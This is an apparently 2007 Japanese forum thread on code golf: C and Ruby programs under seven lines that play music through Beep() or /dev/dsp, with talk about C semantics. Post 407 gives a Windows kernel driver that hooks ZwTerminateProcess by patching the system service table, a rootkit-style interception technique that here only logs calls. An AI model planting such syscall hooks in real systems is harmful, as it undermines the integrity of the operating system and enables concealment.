1行食うからな…

でもwindows.hだけでbeep音は鳴らせるよな?
281 :デフォルトの名無しさん :2007/01/28(日) 00:09:18
10 BEEP
282 :デフォルトの名無しさん :2007/01/28(日) 00:25:02
>>279
昔のMSXとかBASIC見たいにMML鳴らせればねえ
283 :デフォルトの名無しさん :2007/01/28(日) 00:58:37
10 PLAY ALLOC 0: PLAY "CDEFG"
284 :デフォルトの名無しさん :2007/01/28(日) 02:23:05
cygwinとかbsd系でdsp使える環境
#include <sys/ioctl.h>
#include <fcntl.h>
int main(void){int rfd,dfd;char buf[1024];rfd=open("/dev/random",O_RDONLY);dfd=
open("/dev/dsp",O_WRONLY);while(1){read(rfd,buf,1024);write(dfd,buf,1024);}}

音なるよ
285 :デフォルトの名無しさん :2007/01/28(日) 02:42:59
それで4行なら7行で方形波生成+メロディ位いけるんじゃないか?
286 :デフォルトの名無しさん :2007/01/28(日) 02:48:27
>>284
read, write未定義って言われる・・・
287 :デフォルトの名無しさん :2007/01/28(日) 02:50:37
cygwinいれんのマンドクセ
会社行ったらやってみよ
288 :デフォルトの名無しさん :2007/01/28(日) 02:51:01
#include <unistd.h>
か、
すげーーーーー音なった!!
289 :デフォルトの名無しさん :2007/01/28(日) 02:52:09
ちなみに、cygwinです。
290 :デフォルトの名無しさん :2007/01/28(日) 02:54:11
ちなみにどんな音がなるんだ?
291 :デフォルトの名無しさん :2007/01/28(日) 02:56:16
いや、ノイズだよ。
ザーって。
292 :デフォルトの名無しさん :2007/01/28(日) 02:56:56
/dev/random辺りから察して砂嵐だろう
293 :デフォルトの名無しさん :2007/01/28(日) 02:57:52
ボリュームに気をつけたほうがいい。いつもので行ったら死にそうになった。
294 :デフォルトの名無しさん :2007/01/28(日) 02:58:00
なんだ
ランダムだからどんなんかな〜と思ったけど、一音そんなに短いのか
295 :284 :2007/01/28(日) 02:58:13
>>288 thx
>>290 /dev/randomから読み取ってdspに直書きしてるだけだから>>291です
単一の音色のソフトシンセくらいなら作れる可能性があるね7行で
296 :デフォルトの名無しさん :2007/01/28(日) 02:59:21
/dev/dspってすげーな。

> cat /cygdrive/c/WINDOWS/Media/tada.wav > /dev/dsp

普通にwav鳴らせるんだ・・・
297 :デフォルトの名無しさん :2007/01/28(日) 03:00:55
こんな時間に人が沸いてきた方が驚きなんだけど。仕事中か?
298 :デフォルトの名無しさん :2007/01/28(日) 03:00:59
ああ、>>ちなみにcygwinのコマンドラインで
cat /dev/random > /dev/dsp
などとしても音なるよ
同じことです
299 :デフォルトの名無しさん :2007/01/28(日) 03:03:29
>>296
んだんだ
cygwinのdspさんはwaveファイルも使えるんだ

あとioctl()とか使ってサンプリングレートとかチャンネル数とか変えれるから、
ちょっと気張ればネット越しに音鳴らすサウンドサーバが出来る
mixingも自力で頑張ればウハウハ

コード自体はfreebsdでも動くから、bsd機をpxebootで起動させればHDDいらずで(ry
300 :デフォルトの名無しさん :2007/01/28(日) 03:36:23
#include <windows.h>
int d[]={659,195,2,739,184,2,783,164,4,739,220,2,659,220,2,622,246,4,659,220,2,
739,220,2,493,195,4,554,184,2,622,184,2,659,164,4,587,184,2,523,184,2,493,195,4
,440,220,2,391,220,2,361,246,4,391,220,2,440,220,2,493,195,2,440,195,2,391,246,
2,361,246,2,329,164,2,329,184,2,659,195,2,739,184,2,783,164,4,739,220,2,659,220
,2,622,246,4,659,220,2,739,220,2,493,195,4,554,184,2,622,184,2,659,164,4,587,1\
84,2,523,184,2,493,195,4,440,220,2,391,220,2,369,293,6,391,293,2,391,195,8};vo\
id b(int x,int y, int z){if(y){for(int i=0;i<z/50;++i){Beep(x,25);Beep(y,25);}}
else{Beep(x,z);}Sleep(0);}int WINAPI WinMain(HINSTANCE,HINSTANCE,LPSTR,int){fo\
r(int i=0;i<sizeof(d);i+=3)b(d[i],d[i+1],d[i+2]*100);return 0;}
ノートが周波数そのままなので、七行超えてしまた。Beep()で音が鳴るPCでどうぞ。
Bio_100%の蟹味噌のインスパイアです。
301 :デフォルトの名無しさん :2007/01/28(日) 03:53:05
>>300
すげー、ピコピコなってるよ・・・

かに味噌なつかしす( ´ー`)

302 :300 :2007/01/28(日) 04:30:09
#include <windows.h>
int d[]={659,195,2,739,184,2,783,164,4,739,220,2,659,220,2,622,246,4,659,220,2,
739,220,2,493,195,4,554,184,2,622,184,2,659,164,4,587,184,2,523,184,2,493,195,4
,440,220,2,391,220,2,361,246,4,391,220,2,440,220,2,493,195,2,440,195,2,391,246,
2,361,246,2,329,164,2,329,184,2,659,195,2,739,184,2,783,164,4,739,220,2,659,220
,2,622,246,4,659,220,2,739,220,2,493,195,4,554,184,2,622,184,2,659,164,4,587,1\
84,2,523,184,2,493,195,4,440,220,2,391,220,2,369,293,6,391,293,2,391,195,8};vo\
id b(int x,int y, int z){for(int i=0;i<z/50;++i){Beep(x,25);Beep(y,25);}}int W\
INAPI WinMain(HINSTANCE,HINSTANCE,LPSTR,int){for(int i=0;i<sizeof(d)/sizeof(in\
t);i+=3)b(d[i],d[i+1],d[i+2]*100);return 0;}
酷いバグを直して19バイト削減。曲データ抜きなら4行だから、まぁアリってことにしてくださいm(__)m
303 :300 :2007/01/28(日) 04:53:31
あ、横が80文字になってるし。WinMainのintは省略できるし、b()なんて
関数化する必要ないし。漏れアホス、回線切って首吊ってきます
304 :デフォルトの名無しさん :2007/01/28(日) 09:21:18
>>300の真似をしてみました。
VC8以外でコンパイルできるかは不明なり。
#include <windows.h>
char a[]="949=>9>>=;9848;>>=969444949=>9>>=;98468946899===;98989;<= ;;;;98643"
"134445454545656767878989:9:;<=>",b[]="94942929999;4;468222246894942929999;46"
"894449991335566116611; 113344 4445454;;;9998886664441111111",c[]="888888822"
"2288444444448448888888222288888422844@4444444444448844444444844@@@@422422422"
"4224224224444";int x[99],i,j=32;main(){float s=110;while(j<99)x[j++]=s*=1.05\
95;for(j=0;a[i];++i,j=0)while(j++<c[i]-48)Beep(x[a[i]],30),Beep(x[b[i]],30);}
305 :デフォルトの名無しさん :2007/01/28(日) 09:31:50
げ、スペースが一箇所詰まってしまた。

#include <windows.h>
char a[]="949=>9>>=;9848;>>=969444949=>9>>=;98468946899===;98989;<= ;;;;98643"
"134445454545656767878989:9:;<=>",b[]="94942929999;4;468222246894942929999;46"
"894449991335566116611; 113344  4445454;;;9998886664441111111",c[]="888888822"
"2288444444448448888888222288888422844@4444444444448844444444844@@@@422422422"
"4224224224444";int x[99],i,j=32;main(){float s=110;while(j<99)x[j++]=s*=1.05\
95;for(j=0;a[i];++i,j=0)while(j++<c[i]-48)Beep(x[a[i]],30),Beep(x[b[i]],30);}

これでちゃんと鳴る……といいな。
306 :デフォルトの名無しさん :2007/01/28(日) 09:39:48
>>296
ワロス

知らんかった
307 :デフォルトの名無しさん :2007/01/28(日) 09:57:20
>>305
鳴ったよー。gcc cygwin で確認
308 :279 :2007/01/28(日) 10:24:12
言った本人が何もしないのもあれなので作ってみたが、
レベル高すぎて投下する気なくす…orz
309 :デフォルトの名無しさん :2007/01/28(日) 10:38:30
>>305
すげーww
なんかめちゃくちゃなつかしい
310 :デフォルトの名無しさん :2007/01/28(日) 11:42:10
>>305
bcc5.5だと
1.05\
95;
の部分がエラーになったんだけど、直したら聞けました。つーかすげーこれww
311 :デフォルトの名無しさん :2007/01/28(日) 12:04:42
#include <unistd.h>
#include <fcntl.h>
char a[]="949=>9>>=;9848;>>=969444949=>9>>=;98468946899===;98989;<= ;;;;98643"
"134445454545656767878989:9:;<=>",b[]="94942929999;4;468222246894942929999;46"
"894449991335566116611; 113344  4445454;;;9998886664441111111",c[]="888888822"
"2288444444448448888888222288888422844@4444444444448844444444844@@@@422422422"
"4224224224444";int x[99],d,i,j=32,k=8000,l=8;m(a,b,s){char r[4096];s*=2;a=k/a
;b=k/b;for(j=s;j--;)r[j]=(!(j%a)+!(j%b))*32;write(d,r,s);}main(){float s=1\
10;while(j<99) x[j++]=s*=1.0595;d=open("/dev/dsp",2);for(i=0;a[i];m(x[a\[i]],\
x[b[i]],30*c[i]-48),++i);}

>>305
がんばったけど、7行に出来ない(orz
とりあえず音はなるけど、和音とかしらんので鳴るだけでいいと思ってる (´・ω・` ス
312 :デフォルトの名無しさん :2007/01/28(日) 12:12:40
>>311
#include <unistd.h>
#include <fcntl.h>
char a[]="949=>9>>=;9848;>>=969444949=>9>>=;98468946899===;98989;<= ;;;;98643"
"134445454545656767878989:9:;<=>",b[]="94942929999;4;468222246894942929999;46"
"894449991335566116611; 113344  4445454;;;9998886664441111111",c[]="888888822"
"2288444444448448888888222288888422844@4444444444448844444444844@@@@422422422"
"4224224224444";int x[99],d,i,j=32,k=8000,l=8;m(a,b,s){char r[4096];s*=2;a=k/a
;b=k/b;for(j=s;j--;)r[j]=(!(j%a)+!(j%b))*32;write(d,r,s);}main(){float s=110;
while(j<99) x[j++]=s*=1.0595;d=open("/dev/dsp",2);for(i=0;a[i];m(x[a[i]],x[b[\
i]],30*c[i]-48),++i);}

こうだな
313 :デフォルトの名無しさん :2007/01/28(日) 12:18:47
#include <unistd.h>
#include <fcntl.h>
char a[]="949=>9>>=;9848;>>=969444949=>9>>=;98468946899===;98989;<= ;;;;98643"
"134445454545656767878989:9:;<=>",b[]="94942929999;4;468222246894942929999;46"
"894449991335566116611; 113344  4445454;;;9998886664441111111",c[]="888888822"
"2288444444448448888888222288888422844@4444444444448844444444844@@@@422422422"
"4224224224444";int x[99],d,i,j=32,k=8000,l=8;m(a,b,s){char r[4096];for(j=s;j\
--;)r[j]=(!(j%a)+!(j%b))*32;write(d,r,s);}main(){float s=110;while(j<99) x[j+\
+]=k/(s*=1.0595);d=open("/dev/dsp",2);for(i=0;a[i];m(x[a[i]],x[b[i]],60*c[i]-
96),++i);}

>>312もうちょっと
後はデータをファイルに持たせるとか…か
314 :デフォルトの名無しさん :2007/01/28(日) 12:21:34
>>311-313
dsp1.cpp:7: error: expected constructor, destructor, or type conversion before '(' token
dsp1.cpp:7: error: expected `,' or `;' before '(' token
dsp1.cpp: In function `int main()':
dsp1.cpp:7: warning: converting to `int' from `float'
dsp1.cpp:10: error: `m' undeclared (first use this function)
dsp1.cpp:10: error: (Each undeclared identifier is reported only once for each function it appears in.)
dsp1.cpp:10:11: warning: no newline at end of file

って、出る('A`)
315 :デフォルトの名無しさん :2007/01/28(日) 12:25:41
m(a,b,s){
多分、この書き方なんですけど、これってCでいいんですか?
316 :デフォルトの名無しさん :2007/01/28(日) 12:31:09
>>284に戻るけど…

using System;using System.IO;class Program{static void Main(string[]args){try{
int i=int.Parse(args[1]);byte[]h=new byte[]{82,73,70,70,36,0,(byte)i,0,87,65, 
86,69,102,109,116,32,16,0,0,0,1,0,1,0,68,172,0,0,68,172,0,0,1,0,8,0,100,97,116
,97,0,0,(byte)i,0};using(FileStream f=new FileStream(args[0],FileMode.Create))
{f.Write(h,0,44);h=new byte[i*65536];Random r=new Random(DateTime.Now.Second);
r.NextBytes(h);f.Write(h,0,i*65536);}}catch{Console.Write("Error");}}}

使い方:
hoge.exe savepath length
長さは(0〜255)*65536Bでつ。
317 :デフォルトの名無しさん :2007/01/28(日) 12:56:06
>>302
require"base64";require'zlib';require"Win32API";$o=Win32API.new("kernel32","B\
eep",%w(i i),'v');def b(x,y,z)(0...z/50).map{$o.call x,25;$o.call y,25}end;b=
"eJybzHSYgYnhMdMOIMnPvISBBci+A2RPBpN5TN+AIhA2RPwt42GgiBZYfR6Y\nnMwE0uUNZnODSY\
iaHYwg9e1gMpMRZA6EDREHqQGxD4PVfIOqYWLwZFwCJiEm\n08NthYyqjGxAtiojSOQwAwcDAE8gP\
SA=\n";d=Zlib::Inflate.inflate(Base64.decode64(b)).unpack("S*");(0...d.size/3
).map{|i|i*=3;b d[i],d[i+1],d[i+2]*100}

ワーイ。rubyで、6行できたよー。
318 :デフォルトの名無しさん :2007/01/28(日) 13:14:40
>>314
C++じゃなくてCで

>>315
暗黙に int とみなされる
319 :デフォルトの名無しさん :2007/01/28(日) 13:38:54
>>318
なったよw
320 :デフォルトの名無しさん :2007/01/28(日) 13:41:13
>>313
データをファイルに持たせるのはルール違反
321 :デフォルトの名無しさん :2007/01/28(日) 13:54:52
beep ついてねーよヽ(`Д´)ノウワァァン
ということで cygwin 専用 beep エミュ。
音程が合わない時は BASE_FREQを適当に調整してください。

#include <windows.h>
#include <stdio.h>
#define BASE_FREQ8000
WINAPI BOOL Beep(DWORD freq, DWORD time){int t,tf,dt;static FILE *fp=0;if(!fp)
fp=fopen("/dev/dsp","wb");if(!freq||freq>BASE_FREQ/2)tf=0x7fffffff;else tf=
BASE_FREQ/2/freq;for(t=0;t<time*BASE_FREQ/1000;t++){dt=((t/tf))%2?127:0;fwrite
(&dt,1,1,fp);}fflush(fp);return TRUE;}
322 :321 :2007/01/28(日) 14:31:09
無駄が多すぎた。
#include <windows.h>
#include <stdio.h>
FILE *p;WINAPI BOOL Beep(DWORD f, DWORD m){int B=4000,t=0,g,d;p=p?p:fopen("/de"
"v/dsp","wb");g=!f||f>B?(1<<31)-1:B/f;for(;t<m*B/500;t++){d=t/g%2?127:0;fwrite(
&d,1,1,p);}fflush(p);return TRUE;}
323 :デフォルトの名無しさん :2007/01/28(日) 16:23:05
Cの&& ||ってショートサーキット評価だっけ?
324 :デフォルトの名無しさん :2007/01/28(日) 16:26:07
そうだぜ
325 :デフォルトの名無しさん :2007/01/28(日) 16:32:51
thx
もう少し縮められそうだ
326 :305 :2007/01/28(日) 16:54:21
おー、なんか皆がんばっとる!('ω`*)
徹夜して作った甲斐がありました!
327 :デフォルトの名無しさん :2007/01/28(日) 17:24:11
標準入力からMMLを読んでビープで再生する
A-G: 音符; R: 休符 (数値を後置して長さ, ドットを後置して付点)
Tn: Tempo; Ln: Length
On: Octave (n=0-7); >: Octave+; <: Octave-

#include <stdio.h>
#include <windows.h>
int r,c,d,n,j,a,o=4,l=4,t=120,f[84],g[]={0,2,3,5,7,8,10};w(a){ungetc(a,stdin);
}y(){return getchar();}float s=27.5;q(int*p){for(r=0;'0'<=(d=y())&&d<='9';)r=r
*10+d-'0';w(d);r?*p=r:0;}main(){for(;j<84;j++,s*=1.0595)f[j]=s;while((c=y())!=
EOF)c+=c<'a'||'z'<c?0:'A'-'a','A'<=c&&c<'H'||c=='R'?c-'R'?a=g[c-'A']+12*o,(d=y
())=='+'||d=='#'?a+=a!=83:d=='-'?a-=!!a:w(d):0,n=l,q(&n),j=120000*((d=y())-'.'
?w(d),2:3)/t/n,c-'R'?Beep(f[a],j):Sleep(j):c=='L'?q(&l):c=='O'?q(&o),o=o>7?7:o
:c=='T'?q(&t):c=='>'?o+=o!=7:c=='<'?o-=!!o:0;}//9行47桁

俺の力ではこれ以上短くできない…orz
328 :デフォルトの名無しさん :2007/01/28(日) 17:35:05
あら。一行78文字になってた

#include <stdio.h>
#include <windows.h>
int r,c,d,n,j,a,o=4,l=4,t=120,f[84],g[]={0,2,3,5,7,8,10};w(a){ungetc(a,stdin);}
y(){return getchar();}float s=27.5;q(int*p){for(r=0;'0'<=(d=y())&&d<='9';)r=r*\
10+d-'0';w(d);r?*p=r:0;}main(){for(;j<84;j++,s*=1.0595)f[j]=s;while((c=y())!=E\
OF)c+=c<'a'||'z'<c?0:'A'-'a','A'<=c&&c<'H'||c=='R'?c-'R'?a=g[c-'A']+12*o,(d=y()
)=='+'||d=='#'?a+=a!=83:d=='-'?a-=!!a:w(d):0,n=l,q(&n),j=120000*((d=y())-'.'?w(
d),2:3)/t/n,c-'R'?Beep(f[a],j):Sleep(j):c=='L'?q(&l):c=='O'?q(&o),o=o>7?7:o:c==
'T'?q(&t):c=='>'?o+=o!=7:c=='<'?o-=!!o:0;}
329 :デフォルトの名無しさん :2007/01/28(日) 17:56:04
ソース解読するための
整形ツールって無いですか?
330 :デフォルトの名無しさん :2007/01/28(日) 17:56:22
時代が20年くらい巻き戻ったな、このスレ
331 :デフォルトの名無しさん :2007/01/28(日) 17:56:33
GNU Indentは?
332 :デフォルトの名無しさん :2007/01/28(日) 18:31:01
>>331
いけました。サンクス
333 :デフォルトの名無しさん :2007/01/28(日) 21:03:16
>>329
過去スレに7行のもあった希ガス
334 :デフォルトの名無しさん :2007/01/28(日) 22:42:27
'A' とかは数字の即値で書いたほうが短そう
335 :デフォルトの名無しさん :2007/01/28(日) 22:48:24
>>284
BSD系って君が言ったから

OSXは、/dev/dspねぇ。。
336 :デフォルトの名無しさん :2007/01/28(日) 22:50:04
>>334
上でも出てるがそりゃ邪道だ
337 :デフォルトの名無しさん :2007/01/28(日) 23:04:34
>>335
多分あるよ。
FreeBSD5のカーネル付近から/dev/以下は自動的に作られるから。
ls -l /dev/dsp ってやってみて

それでもnot foundならkldload snd_driverでカーネルにサウンドドライバロードさせてみて
で、 ls -l /dev/dsp
338 :デフォルトの名無しさん :2007/01/28(日) 23:19:02
>>336
そんなん言ったら数字とか英字の判断は、
C的にはisdigitとかisalphaを使うべきとこだよ。
>'0'<=(d=y())&&d<='9';
isdigit(d=y());
こっちのほうが圧倒的に短いし。
339 :デフォルトの名無しさん :2007/01/28(日) 23:23:16
#includeディレクティブが一行食うから
よほど文字種判別ばかりやってるコード
じゃないと短くはならんでしょ
340 :デフォルトの名無しさん :2007/01/28(日) 23:30:01
>>338
テレックスで用いられるようなアルファベットが連続していない文字コードを考慮すると
'A'<=c&&c<'H'||c=='R'

'A'==c||'B'==c||'C'==c||'D'==c||'E'==c||'F'==c||'G'==c||'R'==c
ないし
!('A'-c||'B'-c||'C'-c||'D'-c||'E'-c||'F'-c||'G'-c||'R'-c)
と書かないといけないのか。
流石にこのスレ的にはつらいな
341 :デフォルトの名無しさん :2007/01/28(日) 23:31:26
!('A'-c&&'B'-c&&'C'-c&&'D'-c&&'E'-c&&'F'-c&&'G'-c&&'R'-c) だた
342 :デフォルトの名無しさん :2007/01/28(日) 23:58:46
>>339
うちの環境だと #include<stdio.h> すれば問題なかった……っていうと、
これも邪道かなー。正しくは #include<ctype.h> だし。
どのみち環境に対して何の仮定もおかないで書くのはつらい。
mainでreturnしないのも本来問題あるわけだし。
まー、最終的には個人の裁量だから、この話題はヤメにしよう。宗教論争になりそうだ。
343 :デフォルトの名無しさん :2007/01/29(月) 00:15:11
print"第一数字(半角数字で入力してください):";i=gets.to_i;print"第二数字(半角数\
字で入力してください):";j=gets.to_i;puts"\n足し算:%g + %g = %g"%[i,j,i+j],"引\
き算:%g - %g = %g"%[i,j,i-j],"掛け算:%g * %g = %g"%[i,j,i*j],"べき算:%g の %g\
乗 = %g"%[i,j,i**j]

ワーイ、rubyで4行、け言語できたよー。
344 :デフォルトの名無しさん :2007/01/29(月) 03:05:51
>>343
毛言語とはまた怪訝な言語じゃの
345 :デフォルトの名無しさん :2007/01/29(月) 13:22:28
めそ
346 :デフォルトの名無しさん :2007/01/29(月) 13:39:59
モキュ
347 :デフォルトの名無しさん :2007/01/30(火) 08:57:38
和音に挑戦しようと思ったんじゃが
乗り遅れたか
348 :デフォルトの名無しさん :2007/01/30(火) 11:13:16
キー押して音鳴らすようなの作れそうじゃね?
349 :デフォルトの名無しさん :2007/01/30(火) 22:38:47
今更ながら>>305に感動
350 :305 :2007/02/01(木) 01:13:43
本体部分を50バイト削減ー。
でもデータ作成に挫折った。キリのいいところまで入らない。

#include <windows.h>
char a[]=" 747:7:@:@C@AC@ACCCCCC<7<7HFHLOMLJLMLHJCJCJLMOQOMLMOTOMHHLMOOHJLMOQ"
"QTSQOOOOONMMMLLLJHGEGEC",b[]=" 747747:7:@:>@:>@>7542<7<7<<77<77>>>77>7>>77>>"
">77<<<777<7<<7:77755<<<55789:;<=>?@ABCCC>>>7",c[]="1822822822222222<<6666666"
"62442642222426624422224222222266426622242642422222222222222222228";float f(i)
{return i?f(i-1)*1.0595:55;}main(i,t){for(i=t=0;c[i]&&(t--||(t=c[++i]-*c));Be\
ep(f(b[i]-*b),40))Beep(f(a[i]-*a),40);}
351 :デフォルトの名無しさん :2007/02/01(木) 01:18:38
(t--||(t=c[++i]-*c)って鼻から悪魔出ないか?
352 :デフォルトの名無しさん :2007/02/01(木) 01:23:55
||は副作用ぶった切るから大丈夫だよ
353 :デフォルトの名無しさん :2007/02/01(木) 01:29:56
f()を数えてなかった……。訂正、10バイト削減。
354 :デフォルトの名無しさん :2007/02/01(木) 01:30:37
>>351
--が前置演算子だと動かないね。
355 :デフォルトの名無しさん :2007/02/01(木) 01:50:03
本当に20年前に戻った気がするな・・・
356 :デフォルトの名無しさん :2007/02/01(木) 03:11:00
>>351
鼻から悪魔が出る って表現気に入った
357 :デフォルトの名無しさん :2007/02/01(木) 10:56:16
>>356
常套句。鼻から悪魔で検索してみろ
358 :デフォルトの名無しさん :2007/02/01(木) 11:48:49
なるほど。生まれる前から言われてた言葉だったのか。
勉強になるなぁ。
359 :デフォルトの名無しさん :2007/02/01(木) 12:03:57
351は鼻から悪魔が出るんじゃないかな。
360 :デフォルトの名無しさん :2007/02/01(木) 18:29:14
出ないでない
361 :デフォルトの名無しさん :2007/02/01(木) 18:30:34
351なら出ても仕様違反ではないけどな
362 :デフォルトの名無しさん :2007/02/01(木) 18:45:17
どこが悪いの?
363 :デフォルトの名無しさん :2007/02/01(木) 18:52:07
>>361
> c[i]&&(t--||(t=c[++i]-*c))
||はsequence pointだからt--とt=c[++i]-*cはこの順に値の変更が行われることが保証されてる
364 :305 :2007/02/01(木) 23:42:07
副作用完了点とか意識してなかったわ('д`)
365 :デフォルトの名無しさん :2007/03/04(日) 18:06:55
int puts(const char*);int main(void){return puts("age")<0;}
366 :デフォルトの名無しさん :2007/03/04(日) 18:12:19
かなりの趣味スレですね
367 :デフォルトの名無しさん :2007/03/04(日) 18:19:55
ageるからには何かネタないの?
368 :デフォルトの名無しさん :2007/03/04(日) 18:24:12
>>365
ネタもなしにあげとはずいぶんなおまーんこですね
↑この一文を解釈して動くプログラミング言語を作ってくれ
369 :デフォルトの名無しさん :2007/03/04(日) 19:13:21
宣言だけ書いとけば、使ったライブラリを勝手にリンクしてくれる、と解釈。
つまりincludeの省略か。
しかしそんなもん俺に作れるわきゃーない。
370 :デフォルトの名無しさん :2007/03/04(日) 19:16:36
Cの話なら、#includeしなくても直にプロトタイプ宣言すれば済むじゃん?
371 :デフォルトの名無しさん :2007/03/04(日) 21:44:22
(・д・)どのCの話だ?
372 :デフォルトの名無しさん :2007/03/04(日) 21:53:15
#includeディレクティブとリンカがどのライブラリをリンクするかは関係ないでs
373 :デフォルトの名無しさん :2007/03/04(日) 22:58:55
#DEFINE ネタもなしにあげとはずいぶんなおまーんこですね main(){return(0);}
374 :デフォルトの名無しさん :2007/03/04(日) 23:02:34
このスレではreturnに括弧つけるのは許されないだろ、常識的に考えて…
375 :デフォルトの名無しさん :2007/03/05(月) 04:16:30
って言うか生きてたんだなおまいら。
376 :デフォルトの名無しさん :2007/03/05(月) 07:42:48
main関数でreturnしなかった場合、
戻り値は0になると決められているから、
return(0);は書く必要すらない。
-10文字
377 :デフォルトの名無しさん :2007/03/06(火) 01:23:37
どんな処理系だそれは。

% cat test.c
#include <stdio.h>
main(void){printf("hello, world\n");}

% gcc -ansi -pedantic test.c

% ./a.exe
hello, world

% echo $?
13


それとも、言ってるのはこういう意味じゃない?
378 :デフォルトの名無しさん :2007/03/06(火) 01:27:49
>>377
gcc -std=c99 -pedantic test.c
379 :デフォルトの名無しさん :2007/03/06(火) 01:35:29
99じゃしょうがないな
380 :デフォルトの名無しさん :2007/05/01(火) 07:42:12
age
381 :デフォルトの名無しさん :2007/05/01(火) 15:53:57
WinMainって
int WINAPI WinMain(HMODULE,HMODULE,LPSTR,int)
これじゃだめなのかな
bcc5.5.1とvc8.0では一応通ったんだけど
382 :デフォルトの名無しさん :2007/05/01(火) 17:33:41
HINSTANCEもHMODULEも意味のない構造体へのポインタだから大丈夫だろ。
383 :デフォルトの名無しさん :2007/05/01(火) 18:55:53
全く問題ない
384 :デフォルトの名無しさん :2007/05/02(水) 12:56:16
動けばいいってんなら、HWNDでもいいし、void*でもいいだろ。
385 :デフォルトの名無しさん :2007/05/02(水) 13:00:03
綺麗に書くなんて下の下だな
短く書け。ただし環境依存するな。
386 :デフォルトの名無しさん :2007/05/02(水) 13:05:28
>>385
長いし環境依存だし、しかも纏めようとしてる辺りが気に入らない
(´・ω・`) で?
387 :デフォルトの名無しさん :2007/05/02(水) 13:08:16
HWND環境依存じゃないだろ?
今手元にヘッダファイル無いけど…
388 :デフォルトの名無しさん :2007/05/02(水) 13:16:48
帰り値も 必要ないんじゃないのか?
389 :デフォルトの名無しさん :2007/05/02(水) 13:19:25
main型の返り値に関しては微妙だな
390 :デフォルトの名無しさん :2007/05/02(水) 14:20:55
HWNDとかいう時点で十分に環境依存な気がするんだが、これは言ったらダメか。
391 :デフォルトの名無しさん :2007/05/02(水) 15:07:24
WinMainな時点でWindows前提なんだから議論の余地はないだろうが
392 :デフォルトの名無しさん :2007/05/02(水) 15:14:24
(´・ω・`) で?
393 :デフォルトの名無しさん :2007/05/02(水) 16:45:18
このスレでの環境依存というのはそういう意味ではなくて、
開発環境に依存するコードを書くなって事じゃないかな。
#includeなくても動く環境とか、main関数でreturnがいらない環境とか、
そういう環境もあるけど、それに依存するコードは駄目だよって意味じゃない?
394 :デフォルトの名無しさん :2007/05/02(水) 17:55:57
(д)゚ ゚
395 :デフォルトの名無しさん :2007/05/02(水) 17:57:14
結論を出す必要は無いんだよ。 思ったようにコード書けばいいじゃない。
396 :デフォルトの名無しさん :2007/05/02(水) 18:16:13
今までこのスレ(過去スレ含)に出てきたコードを見てると
修正を加えないとコンパイルさえ通らないのばかり
よってセーフ
397 :デフォルトの名無しさん :2007/05/02(水) 18:33:02
大事なのは面白い事
398 :デフォルトの名無しさん :2007/05/02(水) 20:34:19
アウトセーフ決めるのは自分だし。
その限界の中でどれだけ短く出来るかが面白い。
399 :デフォルトの名無しさん :2007/05/02(水) 22:55:14
コンパイルが通らないようなのは全然駄目だと思うが、
全然駄目なのを発表するのは自由なんじゃないの?

多くの人に評価されたいなら、コンパイルくらい通して欲しいね
400 :デフォルトの名無しさん :2007/05/03(木) 00:05:35
まぁ試した、というか動く処理系を明記して欲しいわな。
401 :デフォルトの名無しさん :2007/05/06(日) 13:58:47
コメントも7行に入るんですか?
402 :デフォルトの名無しさん :2007/05/06(日) 14:46:07
すみません
あの
#include<stdio.h>
#include<windows.h>

int a = 1;

int main()
{
while(a)
{
printf("1〜8どうぞ\n0は終了\n---------");
scanf("%d", &a);

switch(a)
{
case 1: ::Beep(262, 300);break;
case 2: ::Beep(294, 300);break;
case 3: ::Beep(330, 300);break;
case 4: ::Beep(349, 300);break;
case 5: ::Beep(392, 300);break;
case 6: ::Beep(440, 300);break;
case 7: ::Beep(494, 300);break;
case 8: ::Beep(523, 300);break;
}
}
return 0;
}
これ7行にするとコンパイルできないんですよ
どうしたらいいですか?
403 :デフォルトの名無しさん :2007/05/06(日) 14:58:40
その7行にしたほうのコードを見せなきゃわからんだろ
404 :デフォルトの名無しさん :2007/05/06(日) 15:12:47
#include<stdio.h>#include<windows.h>int a = 1; int main(){ while(a){
printf("1〜8どうぞ\n0は終了\n---------");scanf("%d", &a);switch(a){
case 1: ::Beep(262, 300);break;case 2: ::Beep(294, 300);break;
case 3: ::Beep(330, 300);break;case 4: ::Beep(349, 300);break;
case 5: ::Beep(392, 300);break;case 6: ::Beep(440, 300);break;
case 7: ::Beep(494, 300);break;case 8: ::Beep(523, 300);break;}}return 0;}

>>402をそのまま短くしたんですけどエラーがたくさんでるんですよ
405 :デフォルトの名無しさん :2007/05/06(日) 15:14:24
実になんと言うこともないがプリプロセッサはつなげられない
#include<stdio.h>
#include<windows.h>
int a=1;int main(){while(a){printf("1〜8どうぞ\n0は終了\n---------"
);scanf("%d",&a);switch(a){case 1:Beep(262,300);break;case 2:Beep
(294,300);break;case 3:Beep(330,300);break;case 4:Beep(349,300);
break;case 5:Beep(392,300);break;case 6:Beep(440,300);break;case 7:
Beep(494,300);break;case 8:Beep(523,300);break;}}return 0;}
406 :デフォルトの名無しさん :2007/05/06(日) 15:16:57
そうだったんですかっ!

ありがとうございます。
407 :デフォルトの名無しさん :2007/05/06(日) 19:14:08
#pragma warning(push, 0);
#include <ntddk.h>
#define F(f) KeServiceDescriptorTable->s[*(PULONG)((PUCHAR)f+1)]
typedef struct{PVOID* s;PULONG c;ULONG t;PUCHAR a;}SDT;long (NTAPI *O)(HANDLE,
long);extern SDT* KeServiceDescriptorTable;long NTAPI N(HANDLE h,long s){
DbgPrint("Exit%d",s);return O(h,s);}NTSYSAPI long NTAPI ZwTerminateProcess(
HANDLE,long);void U(PDRIVER_OBJECT d){InterlockedExchange(&F(ZwTerminateProcess
),O);}long D(PDEVICE_OBJECT d,PIRP i){i->IoStatus.Status=0;IoCompleteRequest(i,
0);return 0;}long DriverEntry(PDRIVER_OBJECT d,PUNICODE_STRING r){int i;for(i=0
;i<27;++i)d->MajorFunction[i]=D;d->DriverUnload=U;O=InterlockedExchange(&F(
ZwTerminateProcess),N);return 0;}

// 実行テスト環境 Win2k(build2195)SP4
// ビルド環境 WinXP VC8 + Windows DDK 3790.1830 -> Win2k Checked Build
C_ASSERT(sizeof(SDT) == 16); // prgma pack(1)
408 :デフォルトの名無しさん :2007/05/06(日) 19:14:41
11行 orz


一応32bit Win2K(とたぶんXP)のNt(Zw)TerminateProcessをフクーするドライバ
ビルドしてテストできる環境は少ないと思うから面白くないかもしれない
ZwCloseとかのフックならntddk.hで宣言されてるので宣言文いらないし、
さらに環境を絞ったハードコードやら、アンインストール時に修復しない青画面直行OK仕様ならもっと削れる

けど、この内容では俺にはもうむりぽ
409 :デフォルトの名無しさん :2007/05/06(日) 19:23:52
#include<stdio.h>
#define B 102400
